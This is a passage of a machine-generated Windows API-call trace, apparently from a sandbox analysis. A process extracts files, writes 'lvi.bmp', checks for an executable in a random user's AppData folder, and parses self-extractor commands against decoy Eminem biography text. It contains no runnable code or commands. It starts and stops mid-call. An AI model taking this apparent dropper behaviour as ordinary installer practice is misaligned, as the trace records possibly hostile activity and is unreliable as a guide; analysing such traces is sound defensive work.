lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.693] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.693] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.693] GetTickCount () returned 0x1fca6 [0068.693] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.693] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.693] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.693] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.693] GetTickCount () returned 0x1fca6 [0068.694] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.694] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.694] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.694] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.694] GetTickCount () returned 0x1fca6 [0068.694] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.694] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.694] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.694] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.694] GetTickCount () returned 0x1fca6 [0068.694] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.694] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.694] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.694] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.694] GetTickCount () returned 0x1fca6 [0068.694] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.694] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.694] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.694] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.694] GetTickCount () returned 0x1fca6 [0068.694] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.694] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.694] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.694] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.694] GetTickCount () returned 0x1fca6 [0068.694] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.694] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.694] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.694] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.694] GetTickCount () returned 0x1fca6 [0068.694] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.694] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x264, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x264, lpOverlapped=0x0) returned 1 [0068.695] GetTickCount () returned 0x1fca6 [0068.695] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.695] SetFilePointer (in: hFile=0x1c, lDistanceToMove=879166, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd6a3e [0068.695] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.695] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.695] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.695] CloseHandle (hObject=0x138) returned 1 [0068.696] SetFileAttributesA (lpFileName="lvi.bmp", dwFileAttributes=0x20) returned 1 [0068.696] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd6a3e [0068.696] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.697] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpFindFileData=0x17edc8 | out: lpFindFileData=0x17edc8) returned 0x25d828 [0068.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", cchWideChar=-1, lpMultiByteStr=0x17f058, cbMultiByte=16777216, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpUsedDefaultChar=0x0) returned 46 [0068.697] FileTimeToLocalFileTime (in: lpFileTime=0x17eddc, lpLocalFileTime=0x17e5a8 | out: lpLocalFileTime=0x17e5a8) returned 1 [0068.697] FileTimeToSystemTime (in: lpFileTime=0x17e5a8, lpSystemTime=0x17e590 | out: lpSystemTime=0x17e590) returned 1 [0068.697] SystemTimeToFileTime (in: lpSystemTime=0x17e590, lpFileTime=0x17e5a0 | out: lpFileTime=0x17e5a0) returned 1 [0068.697] FileTimeToLocalFileTime (in: lpFileTime=0x17edcc, lpLocalFileTime=0x17e5a8 | out: lpLocalFileTime=0x17e5a8) returned 1 [0068.697] FileTimeToSystemTime (in: lpFileTime=0x17e5a8, lpSystemTime=0x17e590 | out: lpSystemTime=0x17e590) returned 1 [0068.697] SystemTimeToFileTime (in: lpSystemTime=0x17e590, lpFileTime=0x17e5a0 | out: lpFileTime=0x17e5a0) returned 1 [0068.697] FileTimeToLocalFileTime (in: lpFileTime=0x17edd4, lpLocalFileTime=0x17e5a8 | out: lpLocalFileTime=0x17e5a8) returned 1 [0068.697] FileTimeToSystemTime (in: lpFileTime=0x17e5a8, lpSystemTime=0x17e590 | out: lpSystemTime=0x17e590) returned 1 [0068.697] SystemTimeToFileTime (in: lpSystemTime=0x17e590, lpFileTime=0x17e5a0 | out: lpFileTime=0x17e5a0) returned 1 [0068.697] FindClose (in: hFindFile=0x25d828 | out: hFindFile=0x25d828) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.712] 